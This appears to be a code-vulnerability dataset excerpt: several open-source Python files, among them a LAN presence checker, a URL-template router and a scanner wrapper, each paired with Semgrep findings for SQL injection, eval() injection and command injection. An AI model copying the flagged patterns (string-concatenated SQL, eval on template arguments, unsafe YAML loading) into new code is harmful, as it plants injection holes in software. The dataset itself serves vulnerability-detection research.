"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 81560348,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2209,
"license": "MIT",
"license_type": "permissive",
"path": "/macLookup.py",
"provenance": "stack-edu-0054.json.gz:568977",
"repo_name": "KevinMidboe/homeChecker",
"revision_date": 1521550476000,
"revision_id": "565473ac3c6b4d070c7e0503f8236c7c95dbc98e",
"snapshot_id": "ff9cee1f55c54c3464d7064858746b2a423ac918",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/KevinMidboe/homeChecker/565473ac3c6b4d070c7e0503f8236c7c95dbc98e/macLookup.py",
"visit_date": "2021-01-22T04:34:26.305517"
} | 2.828125 | stackv2 | #!/usr/bin/env python3
import sqlite3
from subprocess import check_output, CalledProcessError
from time import time
from re import findall
from sys import argv
from pprint import pprint
path = "/home/kevin/homeChecker/home.db"
def getOnlineClients():
try:
arpOutput = check_output("sudo arp-scan -l", shell=True)
arpOutput = arpOutput.decode()
macAdr = findall('(([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2}))', arpOutput)
return [i[0] for i in macAdr]
except CalledProcessError:
print("Not able to run 'arp-scan -l' on this machine.")
exit(0)
def getAddr(c):
c.execute('SELECT adr FROM clients')
return [i[0] for i in c.fetchall()]
def getTimes():
conn = sqlite3.connect(path)
c = conn.cursor()
c.execute('SELECT c.name, l.timesince FROM lastonline AS l JOIN clients AS c WHERE l.clientadr=c.adr')
returnList = []
for name, time in c.fetchall():
returnList.append({"name": name, "time": convertTime(time)})
conn.close()
return returnList
def convertTime(seconds):
if not isinstance(seconds, (int, float)):
return 'Null'
delta = int(time() - seconds)
if delta >= 86400:
return str(delta//86400) + ' days'
elif delta >= 3600:
if delta//3600 < 10:
parent = str(delta//3600)
child = str((delta - (3600 * (delta//3600)))//60)
if len(child) == 1:
child = '0' + child
return parent + ':' + child + ' hours'
else:
return str(delta//3600) + ' hours'
elif delta >= 60:
return str(delta//60) + ' minutes'
else:
return str(delta) + ' seconds'
def updateTimes():
curTime = time()
conn = sqlite3.connect(path)
c = conn.cursor()
online = list(set(getOnlineClients()) & set(getAddr(c)))
for adr in online:
c.execute('UPDATE lastonline SET timesince='+ "%0.2f" % curTime +' WHERE clientadr="'+ adr + '"')
conn.commit()
conn.close()
return (online)
if __name__ == '__main__':
if argv[-1] == 'get':
pprint(getTimes())
else:
print("Updated following clients:", updateTimes())
| 88 | 24.1 | 106 | 20 | 602 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_54cc545c2d1d6b40_2a208f4b", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(0)", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 9, "column_end": 16, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/54cc545c2d1d6b40.py", "start": {"line": 22, "col": 9, "offset": 599}, "end": {"line": 22, "col": 16, "offset": 606}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(0)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_54cc545c2d1d6b40_2ecb4328", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 9, "column_end": 106, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/54cc545c2d1d6b40.py", "start": {"line": 73, "col": 9, "offset": 1895}, "end": {"line": 73, "col": 106, "offset": 1992}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
73
] | [
73
] | [
9
] | [
106
] | [
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | macLookup.py | /macLookup.py | KevinMidboe/homeChecker | MIT | |
2024-11-18T18:15:56.701855+00:00 | 1,690,534,950,000 | bfb925a90477c2f3ae47690fe36914a9961b3f98 | 3 | {
"blob_id": "bfb925a90477c2f3ae47690fe36914a9961b3f98",
"branch_name": "refs/heads/master",
"committer_date": 1690534950000,
"content_id": "ac7441ba8a8c6700cd9631edb9574289ad32848b",
"detected_licenses": [
"MIT"
],
"directory_id": "92bdf73588634c9376e9c060fd04933a675e0817",
"extension": "py",
"filename": "url_templates.py",
"fork_events_count": 6,
"gha_created_at": 1270804832000,
"gha_event_created_at": 1665151023000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 602208,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6300,
"license": "MIT",
"license_type": "permissive",
"path": "/iktomi/web/url_templates.py",
"provenance": "stack-edu-0054.json.gz:569040",
"repo_name": "SmartTeleMax/iktomi",
"revision_date": 1690534950000,
"revision_id": "ae7d8d53a72e8703dc438f1bc02e7864db49d4e0",
"snapshot_id": "f3401c3363bad53d8f07d0bf55590f3b47610b7a",
"src_encoding": "UTF-8",
"star_events_count": 14,
"url": "https://raw.githubusercontent.com/SmartTeleMax/iktomi/ae7d8d53a72e8703dc438f1bc02e7864db49d4e0/iktomi/web/url_templates.py",
"visit_date": "2023-08-07T15:08:16.787743"
} | 2.53125 | stackv2 | # -*- coding: utf-8 -*-
import six
if six.PY2:
from urllib import quote, unquote
else:# pragma: no cover
from urllib.parse import quote, unquote
import re
import logging
from .url_converters import default_converters, ConvertError
logger = logging.getLogger(__name__)
def urlquote(value):
if isinstance(value, six.integer_types):
value = six.text_type(value)
return quote(value.encode('utf-8'))
class UrlBuildingError(Exception): pass
_split_pattern = re.compile(r'(<[^<]*>)')
#NOTE: taken from werkzeug
_converter_pattern = re.compile(r'''^<
(?:
(?P<converter>[a-zA-Z_][a-zA-Z0-9_]+) # converter name
(?:\((?P<args>.*?)\))? # converter args
\: # delimiter
)?
(?P<variable>[a-zA-Z_][a-zA-Z0-9_]*) # variable name
>$''', re.VERBOSE | re.U)
_static_url_pattern = re.compile(r'^[^<]*?$')
def construct_re(url_template, match_whole_str=False, converters=None,
default_converter='string', anonymous=False):
'''
url_template - str or unicode representing template
Constructed pattern expects urlencoded string!
returns (compiled re pattern,
dict {url param name: [converter name, converter args (str)]},
list of (variable name, converter name, converter args name))
If anonymous=True is set, regexp will be compiled without names of variables.
This is handy for example, if you want to dump an url map to JSON.
'''
# needed for reverse url building (or not needed?)
builder_params = []
# found url params and their converters
url_params = {}
result = r'^'
parts = _split_pattern.split(url_template)
for i, part in enumerate(parts):
is_url_pattern = _static_url_pattern.match(part)
if is_url_pattern:
#NOTE: right order:
# - make part str if it was unicode
# - urlquote part
# - escape all specific for re chars in part
result += re.escape(urlquote(part))
builder_params.append(part)
continue
is_converter = _converter_pattern.match(part)
if is_converter:
groups = is_converter.groupdict()
converter_name = groups['converter'] or default_converter
conv_object = init_converter(converters[converter_name],
groups['args'])
variable = groups['variable']
builder_params.append((variable, conv_object))
url_params[variable] = conv_object
if anonymous:
result += conv_object.regex
else:
result += '(?P<{}>{})'.format(variable, conv_object.regex)
continue
raise ValueError('Incorrect url template {!r}'.format(url_template))
if match_whole_str:
result += '$'
return re.compile(result), url_params, builder_params
def init_converter(conv_class, args):
if args:
#XXX: taken from werkzeug
storage = type('_Storage', (), {'__getitem__': lambda s, x: x})()
args, kwargs = eval(u'(lambda *a, **kw: (a, kw))({})'.format(args),
{}, storage)
return conv_class(*args, **kwargs)
return conv_class()
class UrlTemplate(object):
def __init__(self, template, match_whole_str=True, converters=None,
default_converter='string'):
self.template = template
self.match_whole_str = match_whole_str
self._allowed_converters = self._init_converters(converters)
self._pattern, self._url_params, self._builder_params = \
construct_re(template,
match_whole_str=match_whole_str,
converters=self._allowed_converters,
default_converter=default_converter)
def match(self, path, **kw):
'''
path - str (urlencoded)
'''
m = self._pattern.match(path)
if m:
kwargs = m.groupdict()
# convert params
for url_arg_name, value_urlencoded in kwargs.items():
conv_obj = self._url_params[url_arg_name]
unicode_value = unquote(value_urlencoded)
if isinstance(unicode_value, six.binary_type):
# XXX ??
unicode_value = unicode_value.decode('utf-8', 'replace')
try:
kwargs[url_arg_name] = conv_obj.to_python(unicode_value, **kw)
except ConvertError as err:
logger.debug('ConvertError in parameter "%s" '
'by %r, value "%s"',
url_arg_name,
err.converter.__class__,
err.value)
return None, {}
return m.group(), kwargs
return None, {}
def __call__(self, **kwargs):
'Url building with url params values taken from kwargs. (reverse)'
result = ''
for part in self._builder_params:
if isinstance(part, tuple):
var, conv_obj = part
try:
value = kwargs[var]
except KeyError:
if conv_obj.default is not conv_obj.NotSet:
value = conv_obj.default
else:
raise UrlBuildingError('Missing argument for '
'URL builder: {}'.format(var))
result += conv_obj.to_url(value)
else:
result += part
# result - unicode not quotted string
return result
def _init_converters(self, converters):
convs = default_converters.copy()
if converters is not None:
convs.update(converters)
return convs
def __eq__(self, other):
return self.template == other.template and \
self.match_whole_str == other.match_whole_str
def __repr__(self):
return '{}({!r}, match_whole_str={!r})'.format(
self.__class__.__name__, self.template,
self.match_whole_str)
| 170 | 36.06 | 82 | 23 | 1,287 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_3fe337b711103b97_6ed7b1e8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 92, "line_end": 93, "column_start": 24, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/3fe337b711103b97.py", "start": {"line": 92, "col": 24, "offset": 3191}, "end": {"line": 93, "col": 41, "offset": 3284}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
92
] | [
93
] | [
24
] | [
41
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | url_templates.py | /iktomi/web/url_templates.py | SmartTeleMax/iktomi | MIT | |
2024-11-18T18:16:00.896196+00:00 | 1,586,974,776,000 | 47b319fa4a07e0dad76820e360420cfbdcc7997b | 3 | {
"blob_id": "47b319fa4a07e0dad76820e360420cfbdcc7997b",
"branch_name": "refs/heads/master",
"committer_date": 1586974776000,
"content_id": "52f4b1c998369de71a9d8a92e708d54f8849d700",
"detected_licenses": [
"MIT"
],
"directory_id": "72f1cb7b9aed9ab1e56265c845597f3340dcfe13",
"extension": "py",
"filename": "credits.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1172,
"license": "MIT",
"license_type": "permissive",
"path": "/utils/credits.py",
"provenance": "stack-edu-0054.json.gz:569085",
"repo_name": "Tamjid2000/flagnet",
"revision_date": 1586974776000,
"revision_id": "744c539a5d1fd05324aa67aa67391e0423e15a27",
"snapshot_id": "8d838c6c796e2fc50ed544ebf5428201f272b4f5",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Tamjid2000/flagnet/744c539a5d1fd05324aa67aa67391e0423e15a27/utils/credits.py",
"visit_date": "2023-03-08T22:58:32.930664"
} | 2.859375 | stackv2 | import glob
import re
import jinja2
import ruamel.yaml as yaml
import config
_CREDITS_TEMPLATE = """\
# {{country.flag}} Photo credits for flags of {{country.name}} ({{country.code}})
{% if photos is iterable -%}
{% for photo in photos %}
- `{{photo.filename}}` by {{photo.author}}, licensed under the {{photo.license}} license ([source]({{photo.url}}))
{%- endfor %}
{% else %}
No photos added
{% endif %}
"""
def _create_markdown_from_yaml(yaml_file_path: str):
"""
Creates photo credits file in Markdown from a YAML file, based on
predefined template.
:param yaml_file_path: a file path of a YAML file which is used
as a data input source
"""
markdown_file_path = re.sub(r'\.ya?ml', '.md', yaml_file_path)
with open(yaml_file_path) as yaml_file, open(markdown_file_path, 'w') as markdown_file:
data = yaml.load(yaml_file, Loader=yaml.Loader)
template = jinja2.Template(_CREDITS_TEMPLATE)
markdown_file.write(template.render(data))
if __name__ == '__main__':
for country_folder in glob.glob(f'{config.DATASET_FOLDER}/*/'):
_create_markdown_from_yaml(f'{country_folder}credits.yml')
| 40 | 28.3 | 116 | 12 | 293 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_3087dcf1815ccec3_8e54d525", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 10, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/3087dcf1815ccec3.py", "start": {"line": 32, "col": 10, "offset": 764}, "end": {"line": 32, "col": 30, "offset": 784}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_3087dcf1815ccec3_eb820ab2", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 45, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/3087dcf1815ccec3.py", "start": {"line": 32, "col": 45, "offset": 799}, "end": {"line": 32, "col": 74, "offset": 828}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_3087dcf1815ccec3_f7c7fc8b", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 35, "line_end": 35, "column_start": 29, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpb8jm_z1l/3087dcf1815ccec3.py", "start": {"line": 35, "col": 29, "offset": 985}, "end": {"line": 35, "col": 50, "offset": 1006}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-79"
] | [
"rules.python.flask.security.xss.audit.direct-use-of-jinja2"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
35
] | [
35
] | [
29
] | [
50
] | [
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | credits.py | /utils/credits.py | Tamjid2000/flagnet | MIT | |
2024-11-18T18:16:05.673901+00:00 | 1,618,560,685,000 | 1fe328c13ac559c8ce9f07013ff869c27e88622a | 3 | {
"blob_id": "1fe328c13ac559c8ce9f07013ff869c27e88622a",
"branch_name": "refs/heads/master",
"committer_date": 1618560685000,
"content_id": "719959cbcc6b0560557eef2fa80b86d177fb9204",
"detected_licenses": [
"MIT"
],
"directory_id": "f634ad99439c856eab934cdd3085d9e3f8e8e899",
"extension": "py",
"filename": "Scanner.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 380752796,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 678,
"license": "MIT",
"license_type": "permissive",
"path": "/src/Scanner.py",
"provenance": "stack-edu-0054.json.gz:569111",
"repo_name": "saifkhichi96/authentica-desktop",
"revision_date": 1618560685000,
"revision_id": "a78ea0bfbdb3050e834087abb7ca5c99736f1cc6",
"snapshot_id": "d84e75030b66877bebba082092eaf02e43dd8da3",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/saifkhichi96/authentica-desktop/a78ea0bfbdb3050e834087abb7ca5c99736f1cc6/src/Scanner.py",
"visit_date": "2023-07-17T11:54:51.276529"
} | 3.125 | stackv2 | import subprocess
def scan_image(outfile):
"""Gets an image from a connected scanning device and saves it
as a TIF file at specified location.
Throws a IOError if there is an error reading from the scanning device.
Parameters:
outfile (str): Path where scanned image should be saved.
"""
try:
cmd = 'scanimage --resolution 10 --mode Gray --format tiff > \'{outfile}.tif\''
process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE)
output, error = process.communicate()
return f'{outfile}.tif'
except:
if error is None:
error = 'Failed to scan image'
raise IOError(error)
| 22 | 29.82 | 87 | 12 | 146 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_e5c80b6e4aec74c3_dd64893e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 19, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/e5c80b6e4aec74c3.py", "start": {"line": 15, "col": 19, "offset": 435}, "end": {"line": 15, "col": 72, "offset": 488}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
15
] | [
15
] | [
19
] | [
72
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | Scanner.py | /src/Scanner.py | saifkhichi96/authentica-desktop | MIT | |
2024-11-18T18:16:13.733478+00:00 | 1,596,808,707,000 | e854f5625b2e6a9bef4995dba8daa0af4d1ad961 | 3 | {
"blob_id": "e854f5625b2e6a9bef4995dba8daa0af4d1ad961",
"branch_name": "refs/heads/master",
"committer_date": 1596808707000,
"content_id": "e0b3661c87c4fdb51baf65eb76e3d60f6594b174",
"detected_licenses": [
"MIT"
],
"directory_id": "6caf6d0fda88ffb306bf606a83a32844ebfb4b3d",
"extension": "py",
"filename": "scikit-titanic.py",
"fork_events_count": 6,
"gha_created_at": 1541156313000,
"gha_event_created_at": 1572430601000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 155853914,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3870,
"license": "MIT",
"license_type": "permissive",
"path": "/archive/notebooks/scikit-titanic.py",
"provenance": "stack-edu-0054.json.gz:569176",
"repo_name": "benc-uk/batcomputer",
"revision_date": 1596808707000,
"revision_id": "698e5b8be62fde0c093e9da8203d176feb0dd33b",
"snapshot_id": "b9bc27000765036a91f10b0fab4e6ca0ba5eee69",
"src_encoding": "UTF-8",
"star_events_count": 14,
"url": "https://raw.githubusercontent.com/benc-uk/batcomputer/698e5b8be62fde0c093e9da8203d176feb0dd33b/archive/notebooks/scikit-titanic.py",
"visit_date": "2021-07-06T06:22:39.789711"
} | 2.796875 | stackv2 | # Databricks notebook source
# MAGIC %md ## Pandas - Extracting data
# COMMAND ----------
import pandas as pd
import numpy as np
# Load data from CSV
data = pd.read_csv('/dbfs/FileStore/tables/titanic.csv')
# COMMAND ----------
# MAGIC %md ## Pandas - Cleaning data
# COMMAND ----------
# Drop rubbish columns we don't need
try:
data = data.drop(['Name', 'Ticket', 'Cabin'], axis=1)
except:
pass
# Drop any rows that have nulls/na/blanks
data = data.dropna()
# Create numerical columns
try:
data['Gender'] = data['Sex'].map({'female': 0, 'male':1}).astype(int)
data['Port'] = data['Embarked'].map({'C':1, 'S':2, 'Q':3}).astype(int)
